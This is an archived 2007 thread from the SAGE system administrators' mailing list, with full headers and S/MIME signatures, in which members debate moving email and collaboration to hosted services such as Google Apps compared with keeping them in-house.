	<F1F7C62F-886D-4150-B366-535A9768E6D2@ccs.neu.edu>
	<45EE14E9.3020506@deaddrop.org>
Content-Type: text/plain; charset=US-ASCII; delsp=yes; format=flowed
Message-Id: <147014EA-4115-49C9-BF16-21399D3EE0B1@ccs.neu.edu>
Content-Transfer-Encoding: 7bit
From: David Blank-Edelman <dnb@ccs.neu.edu>
Subject: Re: [SAGE] Exchange work-alikes
Date: Tue, 6 Mar 2007 22:34:00 -0500
To: SAGE Members <sage-members@usenix.org>
X-Mailer: Apple Mail (2.752.3)
Sender: owner-sage-members@usenix.org
Precedence: bulk


On Mar 6, 2007, at 8:27 PM, Etaoin Shrdlu wrote:

> I should really be doing other things, but I'm still going to play  
> along.

Yup: "I'm not even supposed to be here today!" - DANTE.

> I think you genuinely mean that your users will have "Google Login  
> Names" (whatever that implies), and that they will be storing data  
> on a bunch of servers that are just completely not under your  
> control. No backups, no security.

I can't speak for the other posters, but I mean yes on the first part  
and qualified "no's" on the last two. With GAfE (google apps for  
education) your users get accounts on google's server that you  
provision and (if you want) get logged into using credentials you  
provide (they make an API call to your server). For backups, the  
choices are 1) configure things so that you pass mail through your  
site first and you keep a dupe or 2) POP the mail down to some place  
you control. Are either of these things backups or security? No, not  
really.

But my point was that in certain environments (e.g. edu, and I'd  
assert many companies that aren't on the ball in the same way you  
described), they are already inching towards that state anyway  
because of how their users work. Everyone shows up to college these  
days with their own electronic identity already established. Places  
like mine have to cope with that.

I read something that said (I wish I could find the quote) "Don't  
expect your users to get all of their IT from you any more."

And truth be told, I probably can't afford a webmail system that is  
as good as Gmail, a web-based project management system as good  
Basecamp, a web-based calendar as good as Google calendar, and so on.  
Should I try? And if I can't, can I deny my users who already are  
using the best-of-breed of these things at home and increasingly at  
work?

> Pshaw. Of course they do (host those components themselves). RIM  
> charges a bloody fortune for it, but that data stays in house, thanks.

Not to pedantic, but even the self-hosted things (I believe, correct  
me if I am wrong) eventually pass the info out of the company so it  
can hit the devices. Encrypted, sure, but...

> Stopped at the (multiple) firewalls. It's against company policy,  
> and there's simply no mechanism for getting it out. The  
> infrastructure is monolithic, and inconvenient, but that piece (at  
> least) works. In addition, it is explicitly against company policy  
> to do business from any email account not within the official  
> infrastructure. You can get to web based mail (such as gmail and  
> yahoo), and (last I was there) you could still ssh home and work  
> that way.

Right, though I bet the latter was used more than the company would  
like (the very first time someone said "Ok, just send it to my Gmail  
account, because..."). Sounds like a relatively tight ship. Think  
your experience was representative, though? I know it isn't in Edu-land.

> Just because the garage leaks, there's no sense punching a hole in  
> the living room roof to see whether it'll leak there, too

Must...not...succumb...to...analogy.  
Must...not..respond...with..another...analogy... (phew).

Arrgh, can't do it. I don't know if I believe this, but sometimes I  
think we're already on the slippery slope. The question is whether we  
strap on skis/snowboards and ride or whether we spend the entire time  
falling.

     -- dNb

P.S. This is not necessarily my personal position on the topic. I  
have way too much arguing with myself to do before I feel I can come  
up with a position about this stuff.



From sage-members-owner@usenix.org Tue Mar  6 19:48:06 2007
Received: from voyager.usenix.org (localhost [127.0.0.1])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l273m5GS008184
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO)
	for <sage-members-0utGoign@voyager.usenix.org>;
	Tue, 6 Mar 2007 19:48:06 -0800 (PST)
Received: (from majordomo@localhost)
	by voyager.usenix.org (8.13.6/8.13.6/Submit) id l273m5sV008182
	for sage-members-0utGoign; Tue, 6 Mar 2007 19:48:05 -0800 (PST)
Received: from amber.ccs.neu.edu (amber.ccs.neu.edu [129.10.116.51])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l273luvE008153
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO)
	for <sage-members@usenix.org>; Tue, 6 Mar 2007 19:48:02 -0800 (PST)
Received: from c-65-96-187-69.hsd1.ma.comcast.net ([65.96.187.69]
	helo=[192.168.0.3])
	by amber.ccs.neu.edu with esmtpsa (TLSv1:AES128-SHA:128) (Exim 4.50)
	id 1HOn88-0003S2-01
	for sage-members@usenix.org; Tue, 06 Mar 2007 22:47:56 -0500
Mime-Version: 1.0 (Apple Message framework v752.3)
In-Reply-To: <75F8A21B-840B-454A-89C0-7FFA8F7C52ED@mbarr.net>
References: <45EDA096.5010200@seekio.com>
	<28F999C4-CE85-4A88-85B6-E80DF799DAA7@samj.net>
	<b5e09e920703061530j415e09d3g82a279f91829d2ce@mail.gmail.com>
	<F1F7C62F-886D-4150-B366-535A9768E6D2@ccs.neu.edu>
	<75F8A21B-840B-454A-89C0-7FFA8F7C52ED@mbarr.net>
Content-Type: text/plain; charset=US-ASCII; delsp=yes; format=flowed
Message-Id: <E7BA0778-8B51-4AF0-B0A3-6F4198B357FC@ccs.neu.edu>
Content-Transfer-Encoding: 7bit
From: David Blank-Edelman <dnb@ccs.neu.edu>
Subject: Re: [SAGE] Exchange work-alikes
Date: Tue, 6 Mar 2007 22:47:32 -0500
To: SAGE Members <sage-members@usenix.org>
X-Mailer: Apple Mail (2.752.3)
Sender: owner-sage-members@usenix.org
Precedence: bulk


On Mar 6, 2007, at 8:25 PM, Matthew Barr wrote:

> (And on another, lesser note:  What about RBL's, like Spamhaus, etc?)

Oh, that's a good one. Let's follow that road. Just to make sure I  
understand, are you pointing out that someone who runs an RBL may now  
know the hostnames found in your mail stream (providing you don't  
take a mirror)? Yup.

Clearly this isn't the same as storing your mail on someone else's  
servers, but it does point out that we're building stuff that relies  
more and more on outside resources.

      -- dNb





From sage-members-owner@usenix.org Tue Mar  6 19:51:12 2007
Received: from voyager.usenix.org (localhost [127.0.0.1])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l273p0R9008728
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO)
	for <sage-members-0utGoign@voyager.usenix.org>;
	Tue, 6 Mar 2007 19:51:00 -0800 (PST)
Received: (from majordomo@localhost)
	by voyager.usenix.org (8.13.6/8.13.6/Submit) id l273oxiu008727
	for sage-members-0utGoign; Tue, 6 Mar 2007 19:50:59 -0800 (PST)
Received: from amber.ccs.neu.edu (amber.ccs.neu.edu [129.10.116.51])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l273oZ39008681
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO)
	for <sage-members@usenix.org>; Tue, 6 Mar 2007 19:50:46 -0800 (PST)
Received: from c-65-96-187-69.hsd1.ma.comcast.net ([65.96.187.69]
	helo=[192.168.0.3])
	by amber.ccs.neu.edu with esmtpsa (TLSv1:AES128-SHA:128) (Exim 4.50)
	id 1HOnAg-0003c7-Ab
	for sage-members@usenix.org; Tue, 06 Mar 2007 22:50:34 -0500
Mime-Version: 1.0 (Apple Message framework v752.3)
In-Reply-To: <45EE14E9.3020506@deaddrop.org>
References: <45EDA096.5010200@seekio.com>
	<28F999C4-CE85-4A88-85B6-E80DF799DAA7@samj.net>
	<b5e09e920703061530j415e09d3g82a279f91829d2ce@mail.gmail.com>
	<F1F7C62F-886D-4150-B366-535A9768E6D2@ccs.neu.edu>
	<45EE14E9.3020506@deaddrop.org>
Content-Type: text/plain; charset=US-ASCII; delsp=yes; format=flowed
Message-Id: <21972795-CCE8-402D-85EF-C323A2D833EE@ccs.neu.edu>
Content-Transfer-Encoding: 7bit
From: David Blank-Edelman <dnb@ccs.neu.edu>
Subject: Re: [SAGE] Exchange work-alikes
Date: Tue, 6 Mar 2007 22:50:10 -0500
To: SAGE Members <sage-members@usenix.org>
X-Mailer: Apple Mail (2.752.3)
Sender: owner-sage-members@usenix.org
Precedence: bulk


> I read something that said (I wish I could find the quote) "Don't  
> expect your users to get all of their IT from you any more."

Ah, found it. It was actually:

"The era in which IT comes only from your IT department is over."

found in the article in CIO magazine called "Users Who Know Too Much  
(and the CIOs Who Fear Them) with the tagline "A new IT department is  
being born. You don't control it. You may not even be aware of it.  
But your users are, and figuring out how to work with it will be the  
key to your future and your company's success."

http://www.cio.com/archive/021507/fea_user_mgmt.html

   -- dNb


From sage-members-owner@usenix.org Tue Mar  6 21:35:23 2007
Received: from voyager.usenix.org (localhost [127.0.0.1])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l275ZHYQ012283
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO)
	for <sage-members-0utGoign@voyager.usenix.org>;
	Tue, 6 Mar 2007 21:35:18 -0800 (PST)
Received: (from majordomo@localhost)
	by voyager.usenix.org (8.13.6/8.13.6/Submit) id l275ZHCX012282
	for sage-members-0utGoign; Tue, 6 Mar 2007 21:35:17 -0800 (PST)
Received: from voyager.usenix.org (localhost [127.0.0.1])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l275Z7Es012274
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO)
	for <sage-members@usenix.org>; Tue, 6 Mar 2007 21:35:07 -0800 (PST)
Received: (from jrl@localhost)
	by voyager.usenix.org (8.13.6/8.13.6/Submit) id l275Z7bx012273
	for sage-members@usenix.org; Tue, 6 Mar 2007 21:35:07 -0800 (PST)
Received: from ug-out-1314.google.com (ug-out-1314.google.com [66.249.92.170])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l272kXaV000110
	for <sage-members@usenix.org>; Tue, 6 Mar 2007 18:46:46 -0800 (PST)
Received: by ug-out-1314.google.com with SMTP id 32so421763ugm
	for <sage-members@usenix.org>; Tue, 06 Mar 2007 18:46:29 -0800 (PST)
Received: by 10.66.243.4 with SMTP id q4mr3169545ugh.1173235589095;
	Tue, 06 Mar 2007 18:46:29 -0800 (PST)
Received: from ?192.168.1.102? ( [82.227.169.239])
	by mx.google.com with ESMTP id c24sm105781ika.2007.03.06.18.46.27;
	Tue, 06 Mar 2007 18:46:28 -0800 (PST)
In-Reply-To: <45EE00CE.6010305@wingfoot.org>
References: <45EDA096.5010200@seekio.com>	
	<28F999C4-CE85-4A88-85B6-E80DF799DAA7@samj.net>
	<b5e09e920703061530j415e09d3g82a279f91829d2ce@mail.gmail.com>
	<45EDFA88.3040507@whatexit.org> <45EE00CE.6010305@wingfoot.org>
Mime-Version: 1.0 (Apple Message framework v752.3)
Content-Type: multipart/signed; micalg=sha1; boundary=Apple-Mail-29--492627652;
	protocol="application/pkcs7-signature"
Message-Id: <8F7FE558-FD33-4002-8C87-5A472FEF09D5@microcost.com>
Cc: sage-members@usenix.org
From: Sam Johnston <sam.johnston@microcost.com>
Subject: Re: [SAGE] Exchange work-alikes
Date: Wed, 7 Mar 2007 03:46:24 +0100
To: "Glenn E. Sieb" <ges@wingfoot.org>
X-Mailer: Apple Mail (2.752.3)
X-DCC--Metrics: voyager 1356; Body=1 Fuz1=1 Fuz2=1 rep=7%
Sender: owner-sage-members@usenix.org
Precedence: bulk


--Apple-Mail-29--492627652
Content-Transfer-Encoding: 7bit
Content-Type: text/plain;
	charset=US-ASCII;
	delsp=yes;
	format=flowed

On Mar 7, 2007, at 1:01 AM, Glenn E. Sieb wrote:

> Does this imply that Google has federal insurance guaranteeing the  
> data in your accounts now? Cool!

Sounds like a business opportunity to me. Actuaries are going to be a  
lot more able to deal with large SaaS vendors with 99.9% SLAs than  
they are with home grown systems and relatively responsibility free  
employees - and your average CxO is going to sleep better knowing  
there's someone with deep pockets standing by.

Sam

-- 
Sam Johnston
CTO
Microcost


--Apple-Mail-29--492627652
Content-Transfer-Encoding: base64
Content-Type: application/pkcs7-signature;
	name=smime.p7s
Content-Disposition: attachment;
	filename=smime.p7s

MIAGCSqGSIb3DQEHAqCAMIACAQExCzAJBgUrDgMCGgUAMIAGCSqGSIb3DQEHAQAAoIIGTDCCAwUw
ggJuoAMCAQICEGicaAtd4ECuCnkTRlpYxOkwDQYJKoZIhvcNAQEFBQAwYjELMAkGA1UEBhMCWkEx
JTAjBgNVBAoTHFRoYXd0ZSBDb25zdWx0aW5nIChQdHkpIEx0ZC4xLDAqBgNVBAMTI1RoYXd0ZSBQ
ZXJzb25hbCBGcmVlbWFpbCBJc3N1aW5nIENBMB4XDTA3MDEwMzIyMzQ0NVoXDTA4MDEwMzIyMzQ0
NVowYzERMA8GA1UEBBMISm9obnN0b24xDDAKBgNVBCoTA1NhbTEVMBMGA1UEAxMMU2FtIEpvaG5z
dG9uMSkwJwYJKoZIhvcNAQkBFhpzYW0uam9obnN0b25AbWljcm9jb3N0LmNvbTCCASIwDQYJKoZI
hvcNAQEBBQADggEPADCCAQoCggEBAJs0VjHm9xofOPd/9/hCAITESBCSsKDkjKeUg1krvNqev8o8
AwN+gp+NZEJZJ6+jGuw0IgVVrbXqNQhZDBKSP+NCs4Gs/4MLSQoPKZWh4CRoSy+TUrLp8eCBZI4E
a6xW0GZfBLYLqtQJhfMIKevTPauBDkcPeIPL1POdGZKNayi4GDT6ssaarr5S3CTtkClZNhLdha86
GiaJ+SlJjym2InR0UdzA13D+oAyKwsKomiZhEi32btVtSzMm9LNAhECySStJcQq3mMdyEYzm5Zud
PXO1sFttJeC8U3tO5nbBB1hdoUaO/EilYaig3A5CnPxF4YRUa1G3M0T2fN8JbalM+DMCAwEAAaM3
MDUwJQYDVR0RBB4wHIEac2FtLmpvaG5zdG9uQG1pY3JvY29zdC5jb20wDAYDVR0TAQH/BAIwADAN
BgkqhkiG9w0BAQUFAAOBgQA6a7UIoasTRqYbANRWeaPcczm8p50TV1OCWLjoYsUFWRwefOAVAgb0
1G1hhwfHmtSWltgp9U07Ds900hGckCaVns9ffB2dID9yS4EAQKNyek3HDP22LxF1719/sjhOBDVE
ARPq8rFU9hNGVIb9GoMNxH1pBq1Du9hgetRqAkLaRzCCAz8wggKooAMCAQICAQ0wDQYJKoZIhvcN
AQEFBQAwgdExCzAJBgNVBAYTAlpBMRUwEwYDVQQIEwxXZXN0ZXJuIENhcGUxEjAQBgNVBAcTCUNh
cGUgVG93bjEaMBgGA1UEChMRVGhhd3RlIENvbnN1bHRpbmcxKDAmBgNVBAsTH0NlcnRpZmljYXRp
b24gU2VydmljZXMgRGl2aXNpb24xJDAiBgNVBAMTG1RoYXd0ZSBQZXJzb25hbCBGcmVlbWFpbCBD
QTErMCkGCSqGSIb3DQEJARYccGVyc29uYWwtZnJlZW1haWxAdGhhd3RlLmNvbTAeFw0wMzA3MTcw
MDAwMDBaFw0xMzA3MTYyMzU5NTlaMGIxCzAJBgNVBAYTAlpBMSUwIwYDVQQKExxUaGF3dGUgQ29u
c3VsdGluZyAoUHR5KSBMdGQuMSwwKgYDVQQDEyNUaGF3dGUgUGVyc29uYWwgRnJlZW1haWwgSXNz
dWluZyBDQTCBnzANBgkqhkiG9w0BAQEFAAOBjQAwgYkCgYEAxKY8VXNV+065yplaHmjAdQRwnd/p
/6Me7L3N9VvyGna9fww6YfK/Uc4B1OVQCjDXAmNaLIkVcI7dyfArhVqqP3FWy688Cwfn8R+RNiQq
E88r1fOCdz0Dviv+uxg+B79AgAJk16emu59l0cUqVIUPSAR/p7bRPGEEQB5kGXJgt/sCAwEAAaOB
lDCBkTASBgNVHRMBAf8ECDAGAQH/AgEAMEMGA1UdHwQ8MDowOKA2oDSGMmh0dHA6Ly9jcmwudGhh
d3RlLmNvbS9UaGF3dGVQZXJzb25hbEZyZWVtYWlsQ0EuY3JsMAsGA1UdDwQEAwIBBjApBgNVHREE
IjAgpB4wHDEaMBgGA1UEAxMRUHJpdmF0ZUxhYmVsMi0xMzgwDQYJKoZIhvcNAQEFBQADgYEASIzR
UIPqCy7MDaNmrGcPf6+svsIXoUOWlJ1/TCG4+DYfqi2fNi/A9BxQIJNwPP2t4WFiw9k6GX6EsZkb
AMUaC4J0niVQlGLH2ydxVyWN3amcOY6MIE9lX5Xa9/eH1sYITq726jTlEBpbNU1341YheILcIRk1
3iSx0x1G/11fZU8xggMQMIIDDAIBATB2MGIxCzAJBgNVBAYTAlpBMSUwIwYDVQQKExxUaGF3dGUg
Q29uc3VsdGluZyAoUHR5KSBMdGQuMSwwKgYDVQQDEyNUaGF3dGUgUGVyc29uYWwgRnJlZW1haWwg
SXNzdWluZyBDQQIQaJxoC13gQK4KeRNGWljE6TAJBgUrDgMCGgUAoIIBbzAYBgkqhkiG9w0BCQMx
CwYJKoZIhvcNAQcBMBwGCSqGSIb3DQEJBTEPFw0wNzAzMDcwMjQ2MjRaMCMGCSqGSIb3DQEJBDEW
BBQ1Uqz+WFvunzRsSVVOL03jiKLWTzCBhQYJKwYBBAGCNxAEMXgwdjBiMQswCQYDVQQGEwJaQTEl
MCMGA1UEChMcVGhhd3RlIENvbnN1bHRpbmcgKFB0eSkgTHRkLjEsMCoGA1UEAxMjVGhhd3RlIFBl
cnNvbmFsIEZyZWVtYWlsIElzc3VpbmcgQ0ECEGicaAtd4ECuCnkTRlpYxOkwgYcGCyqGSIb3DQEJ
EAILMXigdjBiMQswCQYDVQQGEwJaQTElMCMGA1UEChMcVGhhd3RlIENvbnN1bHRpbmcgKFB0eSkg
THRkLjEsMCoGA1UEAxMjVGhhd3RlIFBlcnNvbmFsIEZyZWVtYWlsIElzc3VpbmcgQ0ECEGicaAtd
4ECuCnkTRlpYxOkwDQYJKoZIhvcNAQEBBQAEggEAUNg7/L4+iMAGBGrnyYSujVpclbwjSXN26Fxt
m71+bojOBG/pCLTkhk1kO93FlZTh8ljAzmikw+4Xf+hCDLjeYBj/9RfTga1tFuiEHUyp9wGPgxZX
eDaFc9gb9pgb8uLEmmoOJYyqruZBKAhaQt4YwLAq6cBcNRRMz8MP/11OAXVmmuzKfzjUVcEDSL16
YuMaU2frpIJihXkSdPePQyHoKO0z/7stMP3fBE/DuvPSbTYrBS4ta0HEnG3pq943qwFSvLVxAAmH
elJbxEVgpvZVOm7kW/mNSZztFspq1J+vz4rubK13/IANPB1W1duapJ0oZxghq9dtB2fbFq/sk0P2
VAAAAAAAAA==

--Apple-Mail-29--492627652--


From sage-members-owner@usenix.org Tue Mar  6 21:36:11 2007
Received: from voyager.usenix.org (localhost [127.0.0.1])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l275a73j012326
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO)
	for <sage-members-0utGoign@voyager.usenix.org>;
	Tue, 6 Mar 2007 21:36:07 -0800 (PST)
Received: (from majordomo@localhost)
	by voyager.usenix.org (8.13.6/8.13.6/Submit) id l275a7dq012325
	for sage-members-0utGoign; Tue, 6 Mar 2007 21:36:07 -0800 (PST)
Received: from voyager.usenix.org (localhost [127.0.0.1])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l275a2LF012320
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO)
	for <sage-members@usenix.org>; Tue, 6 Mar 2007 21:36:03 -0800 (PST)
Received: (from jrl@localhost)
	by voyager.usenix.org (8.13.6/8.13.6/Submit) id l275a2gc012319
	for sage-members@usenix.org; Tue, 6 Mar 2007 21:36:02 -0800 (PST)
Received: from ug-out-1314.google.com (ug-out-1314.google.com [66.249.92.171])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l272wOkd002127
	for <sage-members@usenix.org>; Tue, 6 Mar 2007 18:58:35 -0800 (PST)
Received: by ug-out-1314.google.com with SMTP id 32so424060ugm
	for <sage-members@usenix.org>; Tue, 06 Mar 2007 18:58:20 -0800 (PST)
Received: by 10.66.221.6 with SMTP id t6mr3146433ugg.1173236300646;
	Tue, 06 Mar 2007 18:58:20 -0800 (PST)
Received: from ?192.168.1.102? ( [82.227.169.239])
	by mx.google.com with ESMTP id o53sm175840nfa.2007.03.06.18.58.19;
	Tue, 06 Mar 2007 18:58:19 -0800 (PST)
In-Reply-To: <45EE01A9.4060706@deaddrop.org>
References: <45EDA096.5010200@seekio.com>	
	<28F999C4-CE85-4A88-85B6-E80DF799DAA7@samj.net>
	<b5e09e920703061530j415e09d3g82a279f91829d2ce@mail.gmail.com>
	<45EDFA88.3040507@whatexit.org> <45EE01A9.4060706@deaddrop.org>
Mime-Version: 1.0 (Apple Message framework v752.3)
Content-Type: multipart/signed; micalg=sha1; boundary=Apple-Mail-30--491915297;
	protocol="application/pkcs7-signature"
Message-Id: <C74951F9-BC29-4166-AC91-766AB5ED5DB2@microcost.com>
Cc: SAGE Members <sage-members@usenix.org>
From: Sam Johnston <sam.johnston@microcost.com>
Subject: Re: [SAGE] Exchange work-alikes
Date: Wed, 7 Mar 2007 03:58:16 +0100
To: Etaoin Shrdlu <shrdlu@deaddrop.org>
X-Mailer: Apple Mail (2.752.3)
X-DCC--Metrics: voyager 1356; Body=1 Fuz1=1 Fuz2=1 rep=7%
Sender: owner-sage-members@usenix.org
Precedence: bulk


--Apple-Mail-30--491915297
Content-Transfer-Encoding: 7bit
Content-Type: text/plain;
	charset=US-ASCII;
	delsp=yes;
	format=flowed

On Mar 7, 2007, at 1:04 AM, Etaoin Shrdlu wrote:

> It's one thing to drink the gmail koolaid for throwaway accounts,  
> but proposing (seriously or not) that someone host a *business* on  
> servers which have cute little pop ups that say "Oops. A mistake  
> just happened." when you're in the middle of something important is  
> just insane. The banking industry is regulated, there isn't just  
> one, and I still don't trust them. I have a dozen gmail accounts,  
> but I depend on *none* of them for anything important.

While there are some valid considerations for moving to a SaaS  
platform availability isn't usually one of them (in fact I would  
argue that availability and integrity actually improve more often  
than not).

"Docs & Spreadsheets probably sucks," said Arnold. "But it doesn't  
matter. It doesn't have to be very good because it opens up the  
enterprise. Google Apps is a clear demonstration of Google's  
confidence that it can deliver (these applications) online and no one  
else can say that."

"This is all part of Google's strategy to become the Microsoft of  
tomorrow," said Arnold, who has written a book on Google and is  
writing another. "This is the start of Google's takeover of the  
enterprise."

http://www.informationweek.com/software/showArticle.jhtml? 
articleID=197008477&cid=RSSfeed_TechWeb

I'm quite interested to see how this discussion develops as there is  
an entire spectrum of views on the subject and many interesting  
arguments for an against delegating responsibility to external  
parties. I'm obviously in the 'for' camp but that was a stance I had  
adopted well before I started making a living out of it,

Cheers,

Sam

-- 
Sam Johnston
CTO
Microcost


--Apple-Mail-30--491915297
Content-Transfer-Encoding: base64
Content-Type: application/pkcs7-signature;
	name=smime.p7s
Content-Disposition: attachment;
	filename=smime.p7s

MIAGCSqGSIb3DQEHAqCAMIACAQExCzAJBgUrDgMCGgUAMIAGCSqGSIb3DQEHAQAAoIIGTDCCAwUw
ggJuoAMCAQICEGicaAtd4ECuCnkTRlpYxOkwDQYJKoZIhvcNAQEFBQAwYjELMAkGA1UEBhMCWkEx
JTAjBgNVBAoTHFRoYXd0ZSBDb25zdWx0aW5nIChQdHkpIEx0ZC4xLDAqBgNVBAMTI1RoYXd0ZSBQ
ZXJzb25hbCBGcmVlbWFpbCBJc3N1aW5nIENBMB4XDTA3MDEwMzIyMzQ0NVoXDTA4MDEwMzIyMzQ0
NVowYzERMA8GA1UEBBMISm9obnN0b24xDDAKBgNVBCoTA1NhbTEVMBMGA1UEAxMMU2FtIEpvaG5z
dG9uMSkwJwYJKoZIhvcNAQkBFhpzYW0uam9obnN0b25AbWljcm9jb3N0LmNvbTCCASIwDQYJKoZI
hvcNAQEBBQADggEPADCCAQoCggEBAJs0VjHm9xofOPd/9/hCAITESBCSsKDkjKeUg1krvNqev8o8
AwN+gp+NZEJZJ6+jGuw0IgVVrbXqNQhZDBKSP+NCs4Gs/4MLSQoPKZWh4CRoSy+TUrLp8eCBZI4E
a6xW0GZfBLYLqtQJhfMIKevTPauBDkcPeIPL1POdGZKNayi4GDT6ssaarr5S3CTtkClZNhLdha86
GiaJ+SlJjym2InR0UdzA13D+oAyKwsKomiZhEi32btVtSzMm9LNAhECySStJcQq3mMdyEYzm5Zud
PXO1sFttJeC8U3tO5nbBB1hdoUaO/EilYaig3A5CnPxF4YRUa1G3M0T2fN8JbalM+DMCAwEAAaM3
MDUwJQYDVR0RBB4wHIEac2FtLmpvaG5zdG9uQG1pY3JvY29zdC5jb20wDAYDVR0TAQH/BAIwADAN
BgkqhkiG9w0BAQUFAAOBgQA6a7UIoasTRqYbANRWeaPcczm8p50TV1OCWLjoYsUFWRwefOAVAgb0
1G1hhwfHmtSWltgp9U07Ds900hGckCaVns9ffB2dID9yS4EAQKNyek3HDP22LxF1719/sjhOBDVE
ARPq8rFU9hNGVIb9GoMNxH1pBq1Du9hgetRqAkLaRzCCAz8wggKooAMCAQICAQ0wDQYJKoZIhvcN
AQEFBQAwgdExCzAJBgNVBAYTAlpBMRUwEwYDVQQIEwxXZXN0ZXJuIENhcGUxEjAQBgNVBAcTCUNh
cGUgVG93bjEaMBgGA1UEChMRVGhhd3RlIENvbnN1bHRpbmcxKDAmBgNVBAsTH0NlcnRpZmljYXRp
b24gU2VydmljZXMgRGl2aXNpb24xJDAiBgNVBAMTG1RoYXd0ZSBQZXJzb25hbCBGcmVlbWFpbCBD
QTErMCkGCSqGSIb3DQEJARYccGVyc29uYWwtZnJlZW1haWxAdGhhd3RlLmNvbTAeFw0wMzA3MTcw
MDAwMDBaFw0xMzA3MTYyMzU5NTlaMGIxCzAJBgNVBAYTAlpBMSUwIwYDVQQKExxUaGF3dGUgQ29u
c3VsdGluZyAoUHR5KSBMdGQuMSwwKgYDVQQDEyNUaGF3dGUgUGVyc29uYWwgRnJlZW1haWwgSXNz
dWluZyBDQTCBnzANBgkqhkiG9w0BAQEFAAOBjQAwgYkCgYEAxKY8VXNV+065yplaHmjAdQRwnd/p
/6Me7L3N9VvyGna9fww6YfK/Uc4B1OVQCjDXAmNaLIkVcI7dyfArhVqqP3FWy688Cwfn8R+RNiQq
E88r1fOCdz0Dviv+uxg+B79AgAJk16emu59l0cUqVIUPSAR/p7bRPGEEQB5kGXJgt/sCAwEAAaOB
lDCBkTASBgNVHRMBAf8ECDAGAQH/AgEAMEMGA1UdHwQ8MDowOKA2oDSGMmh0dHA6Ly9jcmwudGhh
d3RlLmNvbS9UaGF3dGVQZXJzb25hbEZyZWVtYWlsQ0EuY3JsMAsGA1UdDwQEAwIBBjApBgNVHREE
IjAgpB4wHDEaMBgGA1UEAxMRUHJpdmF0ZUxhYmVsMi0xMzgwDQYJKoZIhvcNAQEFBQADgYEASIzR
UIPqCy7MDaNmrGcPf6+svsIXoUOWlJ1/TCG4+DYfqi2fNi/A9BxQIJNwPP2t4WFiw9k6GX6EsZkb
AMUaC4J0niVQlGLH2ydxVyWN3amcOY6MIE9lX5Xa9/eH1sYITq726jTlEBpbNU1341YheILcIRk1
3iSx0x1G/11fZU8xggMQMIIDDAIBATB2MGIxCzAJBgNVBAYTAlpBMSUwIwYDVQQKExxUaGF3dGUg
Q29uc3VsdGluZyAoUHR5KSBMdGQuMSwwKgYDVQQDEyNUaGF3dGUgUGVyc29uYWwgRnJlZW1haWwg
SXNzdWluZyBDQQIQaJxoC13gQK4KeRNGWljE6TAJBgUrDgMCGgUAoIIBbzAYBgkqhkiG9w0BCQMx
CwYJKoZIhvcNAQcBMBwGCSqGSIb3DQEJBTEPFw0wNzAzMDcwMjU4MTdaMCMGCSqGSIb3DQEJBDEW
BBTNK6MZQ9UUeLe9TSWV2AXzGSb4xzCBhQYJKwYBBAGCNxAEMXgwdjBiMQswCQYDVQQGEwJaQTEl
MCMGA1UEChMcVGhhd3RlIENvbnN1bHRpbmcgKFB0eSkgTHRkLjEsMCoGA1UEAxMjVGhhd3RlIFBl
cnNvbmFsIEZyZWVtYWlsIElzc3VpbmcgQ0ECEGicaAtd4ECuCnkTRlpYxOkwgYcGCyqGSIb3DQEJ
EAILMXigdjBiMQswCQYDVQQGEwJaQTElMCMGA1UEChMcVGhhd3RlIENvbnN1bHRpbmcgKFB0eSkg
THRkLjEsMCoGA1UEAxMjVGhhd3RlIFBlcnNvbmFsIEZyZWVtYWlsIElzc3VpbmcgQ0ECEGicaAtd
4ECuCnkTRlpYxOkwDQYJKoZIhvcNAQEBBQAEggEAEIuHa1cAsgVM+Sx1wxc+Koj1lkLMfldlO67c
cHjp9b+SjZzawwgVJJf5avJZNL0H7sNtciVPGJjSX8WMOqu9ow7wgxcngVJ6WWhHeIGBSo4fqsku
/OCLPU7v4WACqknuhz0NYTRL9FsPqXM1rfXFRxycsDXhZMX7QutFGhb5c3v59hLc/CiR0vuiJOmS
Vu6Cy0UsCqy19dzZBeXFHvxASPfvdhoRHPDNtB2iAg6OUeYthNjQpCpLEDeloF2njfqvQX7BWhi7
B0iS6lGtZ09u4QGJFW6LMXe/X3NbawHQf7sSIfb5c+EiQcimnIz+HTQ/I3E/jAbktpXXbZlcbZhn
uAAAAAAAAA==

--Apple-Mail-30--491915297--


From sage-members-owner@usenix.org Wed Mar  7 00:02:32 2007
Received: from voyager.usenix.org (localhost [127.0.0.1])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l2782P1T018127
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO)
	for <sage-members-0utGoign@voyager.usenix.org>;
	Wed, 7 Mar 2007 00:02:30 -0800 (PST)
Received: (from majordomo@localhost)
	by voyager.usenix.org (8.13.6/8.13.6/Submit) id l2782OmY018125
	for sage-members-0utGoign; Wed, 7 Mar 2007 00:02:24 -0800 (PST)
Received: from ulysses.noc.ntua.gr (ulysses.noc.ntua.gr [147.102.222.230])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l27823fp018102
	for <sage-members@usenix.org>; Wed, 7 Mar 2007 00:02:09 -0800 (PST)
Received: from theseas.softlab.ece.ntua.gr (theseas.softlab.ece.ntua.gr
	[147.102.1.1])
	by ulysses.noc.ntua.gr (8.14.0/8.14.0) with ESMTP id l277pgSH046085
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NOT);
	Wed, 7 Mar 2007 09:51:43 +0200 (EET)
